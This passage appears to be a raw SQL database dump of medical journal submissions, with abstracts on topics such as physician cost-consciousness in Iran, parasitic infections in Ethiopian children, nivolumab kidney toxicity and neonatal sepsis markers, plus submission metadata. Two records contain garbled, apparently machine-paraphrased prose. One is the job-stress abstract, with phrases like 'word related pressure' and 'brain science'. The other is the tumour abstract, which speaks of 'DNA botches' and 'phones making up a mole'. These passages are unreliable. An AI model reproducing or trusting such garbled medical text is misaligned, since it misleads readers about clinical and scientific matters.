conducted in 2018 in West Azerbaijan Province. The study sample included 306 general practitioners from the private sector, family physicians and specialists from both public and private sectors, in contract with Iran health insurance organization. A researcher-developed questionnaire was used to collect data, which were analyzed using SPSS version 25. \\\\r\\\\nResults: The overall mean score of attitude toward cost-conscious care was 73.32% with a standard deviation 7.71. There was a significant difference between the physicians’ attitudes in terms of gender, medical group, geographical location of workplace, and interest in participating in the seminars related to health economics. The family physicians had a higher positive attitude towards cost-consciousness.\\\\r\\\\nConclusion: The results were promising in terms of the physicians’ attitude towards cost awareness; the real hope should be nonetheless relied mostly on how they practice. Efforts should be adopted by health authorities to sustain such attitudes and grow them into practice.\\\\r\\\\n','Physicians, Cost-consciousness, Attitude, Iran',685,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6742,7994,45,0,'','LUENCE OF CONSTRAINT-INDUCED MOVEMENT THERAPY ASSOCIATED WITH ZICLAGUE® PHYTOTHERAPIC IN CHRONIC HEMIPARETICS','',14,2,'','The study aimed to verify the influence of Constraint-Induced Movement Therapy associated with the Ziclague® herbal medicine on spasticity, functionality in the upper paretic segment and quality of life of chronic hemiparetics. An experimental, longitudinal, prospective and quantitative study was carried out, with a sample consisted of six chronic hemiparetic volunteers with mean age of 50 ? 13 years, submitted to a modified protocol associated with the bioproduct Ziclague® during 24 sessions, 60 minutes each, twice a week on alternate days and assessed before, during and after the 24 sessions, by the Modified Ashworth Scale, Fugl-Meyer Motor Assessment and Specific Quality of Life Scale for stroke. The results revealed a significant improvement (p?0.05) in the spasticity of the pronators and finger flexors among the phases pre-treatment and after 24 sessions, as well as an improvement in the motor function of the affected upper limb between the pre-treatment and after 24 sessions and among 12 sessions and 24 sessions, and a significant improvement in quality of life between the pre-treatment and after 24 sessions. It was concluded that Constraint-Induced Movement Therapy associated with the Ziclague® Phytotherapic constitutes a form of effective rehabilitation in the motor function and in the modulation of the affected upper limb tonus, improving the quality of life of chronic hemiparetic patients.','Stroke, Hemiparesis, Spasticity, Phytotherapy, Physical Therapy',643,'','2021-09-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','accepted',0,'','',0,0,0,0,NULL,'2021-09-20',1),(6708,7963,45,0,'','Intestinal Parasitic Infection Status (IPIS)  among Primary School Children in Ethiopia: A Systematic Review and Meta-Analysis','',15,3,'','Background: Intestinal parasitic infection is considered to play an important role in the compromised physical and cognitive growth of children in developing countries, primarily affecting children in resource-limited settings. Better understanding of intestinal parasitic infection is needed to identify and apply important intervention strategies. Various studies have been conducted on intestinal parasitic diseases on school children in a few districts of Ethiopia. But, no study has collected and analyzed this information systematically.  This review aims to assess the prevalence of Intestinal parasitic diseases along with primary school children in Ethiopia through systematically evaluating the results of studies conducted in this respect.\r\n Methods: In this systematic review study; the required data were collected using combine term prevalence AND Intestinal parasitic Infections OR diseases AND School Children and their Persian equivalents through Google search. Out of 60 articles, 16 articles were at last considered after barring the remaining articles which were not related to the study targets. Finally, conducted a meta-analysis using Review Manager (RevMan) 5.3 software.\r\nResults: The pooled occurrence of intestinal parasitic diseases within primary school children in Ethiopia was 53.64 % (95% CI, p-value = 0.000 the minimal value was observed in Babile town, eastern Ethiopia (13.82%) and the maximum result registered in Chencha town, Southern Ethiopia (81%) and the relevant data extracted and meta-analysis was conducted and the Time interval of the evaluated articles varied from 2010 to 2018.\r\nConclusion: The overall prevalence of intestinal parasitic infection among school children in Ethiopia was more than 50% so that the improvement of sanitation, personal hygiene, and increased awareness of people, and health education can be effective in reducing parasitic infections in different communities.\r\n\r\n',' Prevalence, Intestinal parasitic infection, primary School Children, Ethiopia, Systematic Review, Meta -Analysis\r\n',388,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6714,7969,45,0,'','360 DEGREE CERVICAL DECOMPRESSION AND FUSION IN A 65 YEAR OLD MAN WITH TANDEM SPINAL STENOSIS','',2,3,'','Tandem spinal stenosis is a clinical phenomenon which is mostly due to degenerative changes in an individual. Most patients present with neck and low back pain with neurological deficits of varying degrees. It is a condition that commonly occurs in individuals greater than 55 years of age. Cervical compressive myelopathy is the most common condition associated with tandem spondylosis. We present the first documented combined anterior and posterior (360 degree) cervical decompression surgery done on account of tandem spinal stenosis in south western Nigeria.\r\n A 65-year-old man who presented with severe neck and low back pain and progressive quadriparesis secondary to cervical compressive myelopathy with associated Tandem spinal stenosis. He subsequently had a combined anterior-posterior (360degrees) cervical decompression and fusion with titanium plate and screws. An iliac crest (tri-cortical) bone graft was used. There was gradual resolution of both neurological deficit and pain noted by the patient after the above surgery was done. \r\n','spondylosis (TSS), cervical Compressive myelopathy',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6718,7130,45,0,'','Occupational rehabilitation of patients with posterior cerebral artery stroke and anatomical variations of the circle of Willis','',14,3,'','Aim and Background: Considering its great importance in connecting the internal carotid with the vertebrobasilar system, the circle of Willis, a major anastomotic arterial system located at the base of the brain, \r\nmay present various anatomical configurations that become possible triggers for certain cerebro-vascular diseases such as strokes or aneurysms. The present study wants to highlight the importance of clinical findings related to anatomical variations in the circle of Willis that could lay at the basis of the development of posterior cerebral artery stroke (PCA stroke), interconnecting them with occupational rehabilitation of such patients.\r\nMaterial and methods: We did a research of data published over the last 1 years, from several international medical libraries and databases such as Pubmed, Google Scholar, Cambridge Core, using the following specific keywords combination: “circle of Willis, anatomical variants, posterior cerebral artery stroke, cognitive and language disorder”, and “posterior cerebral artery stroke, occupational therapy, occupational rehabilitation”. A descriptive review was realized describing several types of occupational rehabilitation techniques involved in the case of patients with PCA stroke, considered as a consequence of variations of the circle of Willis.\r\nResults: There are taken into consideration the connections between PCA stroke and specific clinical pathologies represented mainly by cognitive, behavioral, visual and language disorders and the rehabilitation in these cases, which has been little investigated in the specialty literature, with a focus on occupational therapy procedures.\r\nConclusion: A correct knowledge upon the clinical consequences of anatomical variants of the circle of Willis, in this case, related to PCA stroke would be very useful not only to surgeons, pathologists and anatomists, but also to bedside clinicians.','circle of Willis, PCA stroke, anatomical variations, occupational rehabilitation',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6704,7958,45,0,'','NIVOLUMAB AND ACUTE GRADE III RENAL TOXICITY','',2,3,'','BACKGROUND: Immune-checkpoint-inhibitors (ICPIs) represent a novel class of immunotherapy against several malignancies that changed the treatment of cancer and improved the patient\'s outcome. However, these agents are associated with several \"immune-mediated\" adverse effects, of which, acute kidney injury (AKI) is quite rare.\r\nCASE REPORT: A 58-year old patient diagnosed with advanced NOS/NSCLC, and not receiving any other medication, experienced a decline in renal function after four cycles with nivolumab. After ruling out other common causes of interstitial nephritis, was attributed as a cause of interstitial nephritis, confirmed by the renal biopsy.  The patient discontinued immunotherapy and he was treated with intravenous prednisolone. There was a slight decrease in creatinine values and he continued treatment at home. Two months later creatinine values had returned to normal, but unfortunately, the patient died from an acute heart attack.\r\nCONCLUSIONS: AKI is a possible but rare complication of immunotherapy which may require discontinuation of ICPIs and corticosteroid treatment.\r\n','IMMUNOTHERAPY, RENAL FAILURE, CANCER',688,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6679,7570,45,0,'','DIAGNOSTIC VALUES OF INFLAMMATORY MARKERS  AT PICU','',17,3,'','BACKGROUND: Sepsis is a major cause of mortality and morbidity and early diagnosis and timely use of antibiotic therapy is essential for life-threatening condition, at the newborns in PICU\r\nOBJECTIVE:  The aim of this study  is to determinate the values of procalcitonin (PCT)  on the outcome of patients in pediatric intensive care units (PICUs) and find out if these biomarker can be used to predict sepsis.\r\nMETHODS: The study was designed as a retrospective and prospective, clinical, epidemiological investigation conducted in the period sixth months, which included 45 (M:F=25:20) newborns with two or three clinical signs of sepsis hospitalized in the Intensive  Care Unit at the PHI University Clinic for Children Diseases - Skopje.  The patient  have been divided into two groups: I group included 31 septic newborns with negative blood culture and II group - 14 septic newborns with positive blood cultures. Results of blood count ( WBC), CRP and PCT, were recorded. Procalcitonin levels were measured by using a immunoassay system Vidas based on the Enzyme Linked Fluorescent Assay (ELFA) principles,at admission and 3-5 days after admission.The third measurement after 6-14 days.The new multiplex polymerase chain reaction–based rapid diagnostic test (BioFire FilmAray Blood Culture Identification (BCID) was used for determinate blood culture\r\nRESULTS:  Procalcitonin PCT  levels at first 24 hours of the admission were increased in all 45 newborns (?2 ng/mL). The values of C-reactive protein gradually increase after 12-36 hours at admission. The values of WBC increased at 31 newborns, except in 14 pediatric patients with severe sepsis the WBC were decreased (WBC counts <4000 ). The second measurement, after 3 days usage of an adequate antibiotic treatment, the levels of PCT is decreased, regardless of whether blood culture is positive or negative, except 5 patients develop severe sepsis, and three patients develop septic shock. After the third measurement ( 6-14 days)  the levels of PCT and CRP is decreased. NIV was used in  39.8% patients and Invasive MV was used in  29.8% patients.Sensitivity of procalcitonin 83.5%, Specificity of procalcitonin 81.3%','Sepsis,C-reactive protein,procalcitonin PCT',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6604,5274,45,0,'','Hospitalization Rate Among Recipients of Non-Skilled Home Care and the Feasibility  of Using a Novel Standardized Assessment to Reduce Hospitalizations','',14,3,'','Background:  Despite increasing momentum for both skilled and non-skilled home care as value-add services for high risk populations, the hospitalization rate among recipients of non-skilled home care has not been previously characterized.  We aimed to determine the hospitalization rate for chronically ill recipients of non-skilled home care, and to assess the feasibility of using a nurse-led standardized assessment care management program that is not dependent on simultaneous use of home healthcare.\r\nMethods:   Hospitalizations were tracked using multiple data sources, and entered into a home care census tracking database.  Hospitalization rate per 1,000 managed months per year was calculated using standard methodology.    We developed a novel standardized assessment tool (PREDICS) and used it to perform in-person nursing assessments of a cohort of home care recipients.   We calculated hospitalization rates in this group, and compared it to a group receiving standard home care only.\r\nResults: Home care recipients were hospitalized at an overall rate of 529 hospitalizations per 1,000 managed patients per year.  Patients in the study group had lower mean rate of hospitalization (516 hospitalizations per 1,000 managed patients per year) compared to the control group (542 hospitalizations per 1,000 managed patients per year), but this difference was not statistically significant (p=0.37).\r\nConclusions:  We report a method of calculating hospitalization rates among recipients of non-skilled home care, and we found home care recipients with a chronic medical diagnosis had an average hospitalization rate of 529 hospitalizations per 1,000 per year.  We also demonstrated the feasibility of applying a nurse-led care management program to non-skilled home care recipients with a serious medical diagnosis, without simultaneous skilled home healthcare.  Whether or not the model influences hospitalization rate in non-skilled home care recipients requires additional study.','Home care, non-skilled home care, hospitalization rate, care management, standardized home care assessment',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6605,7860,45,0,'','Anxiety symptoms in university professors during the COVID-19 pandemic','',9,3,'','The pandemic scenario for the new COVID-19 (corona virus disease), reached alarming proportions, thus many government officials declared a state of emergency to effectively fight the disease through strategies including, social distance through decrees for stay at home, travel restrictions and closing non-essential services (Gostin e Wiley 2020)','Anxiety symptoms, COVID-19 pandemic',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6570,7829,45,0,'','Teleradiology and AI as Solution to Overcome the COVID-19 Pandemic Impact During the Lockdowns in Africa ','',19,3,'','The role of teleradiology during the COVID-19 pandemic is essential to maintain the continuity of the health service to patients. Using such technology based on transmission of radiological patient images, from one location to another and allows radiologists to provide services without having to be in contact with patients, is particularly important to minimize the expansion of COVID-19. In Africa, some radiology departments public and private experienced this solution of remote working, showing a positive impact during the outbreak.','Teleradiology – AI – Africa – Remote working – COVID-19 ',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6561,7820,45,0,'','Tuberculosis treament outcomes among children in Ethiopia: Systematic review and Meta analysis ','',14,3,'','Background: Tuberculosis (TB) in children is increasingly recognized as a significant public health problem, and as  an important component of the total global burden of tuberculosis. Tuberculosis  among Ethiopian children is highly prevalent  due to poor socio-economic conditions, malnutrition, over-crowding, HIV co-infection and high prevalence of TB in adult contacts. The World Health Organization (WHO) recommends that children with TB should be treated within the National TB Programmes (NTP) and  notified through their routine reporting systems. Although with appropriate treatment  95% of children with PTB and non-severe EPTB could be treated successfully  their outcome is largely unknown in developing countries including Ethiopia. \r\nMethods :We identified a total of 1138 original articles from the initial computer-based search  in  PubMed, Hinari, Google Scholar untill may 20, 2017, and contacting authors and experts in the field. Of these, 64 full-text studies were eligible for review and 28 articles were used for meta-analysis, including a total study population of 10,929 patients from 7 regions of the country, namely Addis Ababa, Amhara, Afar, Gambella, oromia, South nations and nationalities people and Tigray. All of the studies were published in English, with study populations size varying from 32 to 2381, and undertaken between 2009 and 2017.\r\nResults:   The pooled treatment Success rate was 85% (CI: 82%-88%) with pooled cure and treatment completed rate of   8% (CI: 6%-11%) and 80% (CI: 76%-85%), respectively. The pooled unsuccessful treatment rate, lost to follow-up rate and death rate were 15 % (CI: 12%-18%), 10% (CI: 7%-12%) and 6% (CI: 4%-7%), respectively.  \r\nConclusion: The over all treatment success rate among children was similar with  the general population. Close follow up is required for better outcome.','Tuberculosis, children, treatment outcome',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5465,6667,45,0,'','Assessment and comparative study of job stress in Jam Hospital jobs, Tehran City     Author: Esmat sadeghpour, Ebrahim karimi sangchini (Ph.D.)','',17,3,'','Background: The need to pay attention to occupational stress and its consequences are among the most important issues in organizational behavior studies. Medical centers are one of the most important providers of services. Many emergency situations arise that a prompt decision must be taken and implemented promptly and accurately. Such conditions and the like in the medical staff often exacerbate the excitement of the professionals in these professions.\r\nObjective: The aim of this study was to investigate occupational stress and compare it with the therapeutic and non-therapeutic staff of Jam Hospital.\r\nMethod:  The research subjects were all therapeutic and non-therapeutic staff. The therapists were assessed using the ENSS questionnaire and non-therapeutic staff using the Osipow questionnaire. The validity of the measurement tool in this study is due to the standardization of the used questionnaires. Their validity is confirmed naturally. During the research, Sharifian et al. (2005), the content validity of this questionnaire was highly desirable. To test the reliability and internal consistency of the questionnaire, the questionnaire has been used for the krona bah alpha. In the case of ENSS questionnaire, the results showed that the revised nurses \'scale (0.96) was more than the main scale (0.86). In the Osipow questionnaire, its reliability was calculated on a satisfactory level by the method of re-examination and its kronovs\' alpha coefficient is equal to With (0.86) was calculated and reported. The Kolmogorov-Smirnov test was used to check the normality of the data. Data analysis was done analytically and descriptively. T-test was used to test the hypotheses and SPSS software was used. \r\nResults:According to the answers provided by the questionnaire, the average job stress in non-medical staff is 165.6 and in the health care staff is 119.14. The most important factor is the stress of the staff at the labor office. \r\nConclusion:At the time of workload, performing multiple tasks in less time and increasing job responsibilities are the most important factors in job stress in employees.staff.\r\nWord related pressure is mental pressure identified with one\'s activity. Word related pressure regularly originates from pressures that don\'t line up with an individual\'s information, abilities, or desires. Occupation stress can increment when remaining burdens are unnecessary. Word related pressure can happen when laborers don\'t feel bolstered by chiefs or colleagues, feel as though they have little command over work procedures, or find that their endeavors at work are disproportionate with the activity\'s prizes. Word related pressure is a worry for the two workers and managers in light of the fact that upsetting activity conditions are identified with representatives\' enthusiastic prosperity, physical wellbeing, and occupation execution. \r\n\r\nVarious controls inside brain science are worried about word related pressure including clinical brain research, word related wellbeing brain research, human variables and ergonomics, and mechanical and hierarchical brain research \r\n\r\nVarious mental speculations in any event somewhat clarify the event of word related pressure. The hypotheses incorporate the interest control-bolster model, the exertion reward unevenness model, the individual condition fit model, work attributes model, the diathesis stress model, and the activity requests assets model. \r\n\r\nThe interest control-support (DCS) model is the most powerful mental hypothesis in word related pressure research. The DCS model advances that the blend of low degrees of business related choice scope (i.e., self-governance and authority over the activity) and high mental remaining tasks at hand is hurtful to laborers. High remaining tasks at hand and low degrees of choice scope either in mix or independently can prompt employment strain, the term regularly utilized in the field of word related wellbeing brain research to reflect less fortunate mental or physical health. The model has been reached out to incorporate business related social disconnection or absence of help from colleagues and bosses, which additionally prompts less fortunate health\r\nThe exertion reward unevenness (ERI) model spotlights on the connection between the specialist\'s endeavors and the business related prizes the representative gets. The ERI model proposes that work set apart by elevated levels of exertion and low rewards prompts strain (e.g., mental manifestations, physical medical issues). The compensations of the activity can be substantial like compensation or immaterial like gratefulness and reasonable treatment. Another feature of the model is that overcommitment to the activity can fuel lopsidedness. \r\nThe individual condition fit model underlines the match between an individual and his/her workplace. The closeness of the match impacts the person\'s wellbeing. For sound working conditions, it is vital that representatives\' mentalities, aptitudes, capacities, and assets coordinate the requests of their activity. The more prominent the hole or loner (either emotional or objective) between the individual and his/her workplace, the more noteworthy the strain.[9] Strains can incorporate mental and physical medical issues. Oddball can likewise prompt lower efficiency and other work issues. The P–E fit model was well known during the 1970s and the mid 1980s; be that as it may, since the late 1980s enthusiasm for the model has wound down on account of troubles speaking to P–E inconsistencies scientifically and measurable models connecting P-E fit to strain have been hazardous.\r\nThe activity attributes model spotlights on elements, for example, ability assortment, task character, task importance, independence, and criticism. These activity factors are thought to mental states, for example, a feeling of importance and information procurement. The hypothesis holds that positive or negative occupation attributes offer ascent to various subjective and conduct results, for example, degree of laborer inspiration, fulfillment, and non-appearance. Hackman and Oldham (1980) built up the Job Diagnostic Survey to evaluate these activity attributes and help authoritative pioneers settle on choices in regards to work update.\r\n','',686,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6550,7808,45,0,'','A Cross-sectional Study on  the Healthy and Nutritionally Balanced Vegetarian  Mid-Day Meal for Universal Acceptance: An Overview ','',17,3,'','Food is the basic necessity of all living beings. We humans are evolved from Homo habilis and Homo erectus. Early humans totally depended on locally available seeds, grains, nuts, fruits, vegetables and flesh of other animals for their survival. To be forthright, humans as Homo sapiens are actually omnivores and not herbivores or carnivores purely. But, over a long period of time, people have chosen for their longevity through several healthy living practices such as going for a walk every-day, doing exercise, practicing yoga most importantly the preferences for “Vegetarian Meals”.','Vegetarian Meals',388,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6558,7816,45,0,'','ASSOCIATION BETWEEN SOCIO-DEMOGRAPHIC FACTORS AND ADHERENCE TO TREATMENT BY HIV PATIENTS UNDERGOING ANTI-RETROVIRAL TREATMENT AT THE UNIVERSITY OF CALABAR TEACHING HOSPITAL, CALABAR, NIGERIA.','',14,3,'','Adherence has been shown to be a major predictor of viral suppression of HIV replication, emergence of ART drug resistance, disease progressions, and death. This study examined the association between demographic factors and adherence to treatment (clinic appointment and drug prescription) by HIV patients undergoing ART in University of Calabar Teaching Hospital, Calabar, Nigeria. The study further examined the reasons for non-adherence to treatment. A cross-sectional descriptive survey was adopted for the study and a structured questionnaire used to elicit information from four hundred respondents who fits into the inclusion criteria. Descriptive statistics such as frequencies, percentages and tables where used to analyze and present data collected on demographic characteristics. The association between respondents’ demographic characteristics and adherence to clinic appointment and prescribed drugs were analyzed inferentially using Pearson Chi-square test of association. Older HIV patients were found to adhere to clinic appointment and drug prescription than the younger patients. However, females were found to adhere to treatment more than the males. Furthermore, level of education was found to determine or influence adherence as HIV patients with formal education had higher adherence rate than those without formal education. Top on the list of the reasons for non-adherence to clinic appointment were distance, cost of prescribed drugs, fear of been stigmatized, forgetfulness, lack of time, religious beliefs and attitude of health workers. There is need for quality counseling for HIV patients undertaking ART to understand the implication of non-adherence. The government and health centers should give priority to improving adherence level to ART programme through free drug provision and constant follow up on HIV patients. Furthermore, the campaign against the stigmization of HIV patients should be intensified. ','',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6501,7234,45,0,'','A controlled final irrigation protocol reduces the acute pain rate of single versus two-visit RCT of teeth with necrotic pulp and apical periodontitis: A multicenter clinical trial.','',14,3,'','Objective\r\nTo determine whether controlled final irrigation protocol after cleaning and shaping procedures would result in a reduced acute pain rate of single versus two-visit RCT of teeth with necrotic pulp and apical periodontitis: A multicenter clinical trial.\r\nMethodology\r\nNinety patients were treated. Working length was established with electronic device and confirmed radiographically. For mechanical enlargement, the Twisted file adaptive, and Protaper Next instruments were used in brushing rotary movement and reciprocating mode correspondingly. For the control group, Balanced Force technique was employed. A controlled Final irrigation protocol was used in all groups. The same clinical protocol was used in three different cities of Mexico.\r\nResults\r\nThe distribution of clinical samples was 45 teeth to one-visit and 45 teeth to two-visit treatment. Two cases (2.5%) experienced acute pain in teeth that receive an RCT. Of the earlier Asymptomatic/symptomatic teeth, the treatment was successful in eradicating pain in 83.33%. Statistical analysis of the healing results did not show any significant difference between the groups (p=0.05). \r\nConclusions \r\nThis study provided clinical evidence that an accurately instrumented one-visit root canal treatment can be as effective as a two-visit treatment. The use of substances with antibacterial activity is a valuable tool to control endodontic infection. \r\nClinical relevance\r\nA controlled final irrigation protocol after clean and shape the canals reduced the incidence of postoperative pain and the need for medication in patients presenting with a diagnosis of necrotic pulp and symptomatic apical periodontitis.','pain, one- visit versus two-visit, success, and failure rate. Flare-up',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6468,7737,45,0,'','The potential impact of Helicobacter pylori infection on the onset of metabolic disease','',14,3,'','Background\r\nHelicobacter pylori is a gram-negative, spiral-shaped, a pathogenic bacterium. Almost 50% of the world population is infected by this bacterium. Obesity, diabetes, and hypertension are multifactorial diseases that have also become a major public health problem of global significance and are found associated with several risk factors like H. pylori infection. It is also considered as a major risk factor in the onset of diseases such as obesity, diabetes, and hypertension. \r\nMethodology\r\nThe study is designed to estimate the prevalence of H. pylori infections in the Rawalpindi region and to identify “the relationship between obesity, type-2 diabetes, hypertension, and H. pylori”. A cross-sectional study was conducted including 192 subjects from Rawalpindi, Pakistan”. Samples were obtained randomly from subjects for the detection of obesity, diabetes, hypertension, and H. pylori infection. Statistical analysis was done to establish associations of obesity, diabetes, and hypertension with H. pylori infection was assessed by various statistical tests using SPSS. \r\nResults\r\nThe incidence of H. pylori infection was 44% in the sample population. The prevalence of obesity was observed 28%, type-2 diabetes was observed by 18% and hypertension was 22%. H. pylori infections among diabetic persons were observed 35% and 48% in non-diabetic subjects. The infection rate of H. pylori is observed high among hypertensive persons. \r\nConclusions\r\nThere is a significant association between obesity, hypertension, and H. pylori infection. There is no relationship between” association of diabetes “and H. pylori”. Large scale studies are required to assess “the prevalence of H. pylori infection”, and metabolic diseases.\r\n','Obesity, Diabetes, Hypertension, Association, Statistical analysis.',685,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(10477,11125,959,0,'','For what reason some cells are competed to form tumor?','',5,0,'Advances in Cancer Treatment','At this moment, in your body, prowl a great many cells with DNA botches that could cause disease. However just in uncommon examples do these DNA botches, called hereditary transformations, lead to an out and out disease. The standard clarification is that it takes a specific number of hereditary hits to a cell\'s DNA to drive a cell to the brink. However, there are notable cases in which similar arrangement of transformations plainly causes disease in one setting, yet not in another. \r\nA genuine model is a mole. The phones making up a mole are hereditarily strange. Regularly, they contain a changed DNA variant of the BRAF quality that, when found in cells situated outside of a mole, will frequently prompt melanoma. In any case, by far most of moles won\'t ever turn harmful. It\'s a problem that has researchers seeking cell setting for pieces of information to clarify the distinction.','sub-atomic profiling, oncogenic skill, epigenome, malignancy',3216,'','2021-09-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-09-20',1),(6456,7723,45,0,'','Complex febrile seizures associated with Doose vs Dravet syndrome. Presentation of a clinical case ','',2,3,'','Febrile seizures have an incidence of 4-5 % of the pediatric population from 0 - 6 years. Incidence in males than in females 1.5 : 1. Simple 3 - 15 minutes and complex 15 - 30 minutes. Its physiopathology is unknown, associated factors such as increased circulation of toxins, myelination deficit in immature brain, immaturity of thermoregulation mechanisms, increased oxygen consumption, in any febrile process. ','',4076,'','2021-09-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6455,7722,45,0,'','Presentation of a case of fulminant hepatitis due to Hepatitis A, in a 3 – year - old female preschool ','',2,3,'','Hepatitis A Virus is one of the most widespread infections in the world, associated with poor hygienic - sanitary conditions. It generates around 10 million cases annually, being a third of the pediatric population. Transmission is via fecal oral, enteric from person to person. It is more frequent in childhood, almost always benign and selflimited. \\r\\n ','',4075,'','2021-09-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6434,7700,45,0,'','IS PROCALCITONIN AND LACTATE A EARLY MARKERS FOR  SEPSIS IN NEWBORNS IN THE ICU-','',14,3,'','ABSTRACT\\\\r\\\\n\\\\r\\\\nObjective: The aim of this study was to evaluate  the predictive values of  procalcitonin (PCT) and lactate as a early diagnostic marker for sepsis in newborns at the ICU.\\\\r\\\\nMethods: In a prospective study, 100 newborns with proven sepsis were included from period January 2019 year till August 2020 year. Laboratory examination were analyzedin the Clinical Laboratory at the University Children Hospital-Skopje. Sample for blood culture, PCT and blood gas-lactate were taken the first at the admission, the second on 3 day and the third  7 day. Blood culture media were incubated at 37 °C for 5days in BactAlert 3D 360. Positive blood culture were proven with the new multiplex polymerase chain reaction–based rapid diagnostic test (BioFire FilmAray Blood Culture Identification). Procalcitonin was determined by immunoassay: patented ELFA (Enzyme-linked fluorescent assay) technology, automated Vidas Biomerieux immunoassay (ng/ml) . Blood gas-lactate were determined with Rapid point 500 Siemens.\\\\r\\\\n','',4048,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6437,7704,45,0,'','Improving Mental Health In Māori Children Witnessing Family Violence','',17,3,'','A positive parent-child relationship is considered to be an essential foundation on which to nuture a childs physical and mental well being for their future development.  Any presence of abusive patterns or incidents can cause emotional scarring for the duration of a child’s life. An abusive environment can cause alterations in a child’s behaviour, and may lead to depression, anxiety, stress, and even fatal consequences. Recent studies have documented that domestic violence can weaken the immune and metabolic system of the body causing genetic variation of DNA. It is evident from the recent literature that  the basic understanding of family violence for Māori needs to include a wider understanding that all forms of violence on whānau constitutes family violence. The literature published with a focus on family violence for Māori is lacking. Most of the literature in regards to family violence for Māori is generic and the key elements that are relevant to the area are missing. This research communication provides an overview of potential psychological approaches with a possibility to improve the mental health issues, which are otherwise progressively increasing in Māori children witnessing frequent family violence incidences. It is also suggested that a consolidated approach to develop a participatory and collaborative research strategy based on the basic principles of triti o Waitangi in the area of family violence for Māori is urgently needed.','Mental health;\r\nPsychological approache;\r\nBehavioural therapy;\r\nFamily violence;\r\nMāori children',687,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6376,498,45,0,'','EXTRA AND INTRAPARENCHYMAL RENAL ARTERY ANEURYSMS CAUSING HYDRONEPHROSIS A CASE REPORT','',2,3,'','Renal artery aneurysm is an uncommon pathologic entity, which is being detected in recent times with increasing frequency due to increased use of cross-sectional imaging modalities. Although often asymptomatic, spontaneous rupture can occur with catastrophic consequences. We report the case of a 44-year old patient referred to our facility for Computed Tomography Urography (CTU) on account of suspected nephrolithiasis with hydronephrosis and a diagnosis of extra and intraparenchymal renal artery aneurysms (RAA) was made.','Computed Tomography Urography, Hydronephrosis, Extra and intraparenchymal renal artery aneurysm',388,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6377,7629,45,0,'','FAMILY SUPPORT AND COPING MECHANISM IN CONGESTIVE HEART FAILURE PATIENT','',14,3,'','Congestive Heart Failure (CHF) requires long-term care, which can affect the psychological aspects of the patient. In carrying out long treatments patients need adaptive coping mechanisms to maintain positive psychological aspects. One factor that can maintain adaptive coping mechanisms is with family support. The purpose of this study was to determine the relationship of family support to coping mechanisms in CHF patients. This research is a kind of descriptive research with cross sectional design. The sample in this study was 80 respondents, who was determined by purposive sampling technique. The results showed that the majority of CHF respondents aged 56-65 (77.5%), male sex 63.5%, long suffered 1-5 years 60.5%, had family support 77.5%, and adaptive coping mechanism 69%. Respondents who have family support and have adaptive coping mechanisms are 87% respondents. Chi-square test results indicate that there is a relationship of family support to coping mechanisms in CHF patients (p value 0.002), and family support will have the opportunity 12 times to achieve adaptive coping mechanisms. Family support can improve the coping mechanism of CHF patients because family support acts as a source of coping, so patients have coping mechanisms that are adaptive to deal with the disease and undergo the treatment process. The results of the study recommend the importance of family support in the form of informational, emotional, instrumental, and assessment support for CHF patients in order to achieve adaptive coping mechanisms. Further researchers are expected to conduct more specific research related to family support.','congestive heart failure, coping mechanism, family support,',685,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6398,7652,45,0,'','Exploring evidence: a challenge before nurses of today','',19,3,'','The abstract is attached below','Facilitator, 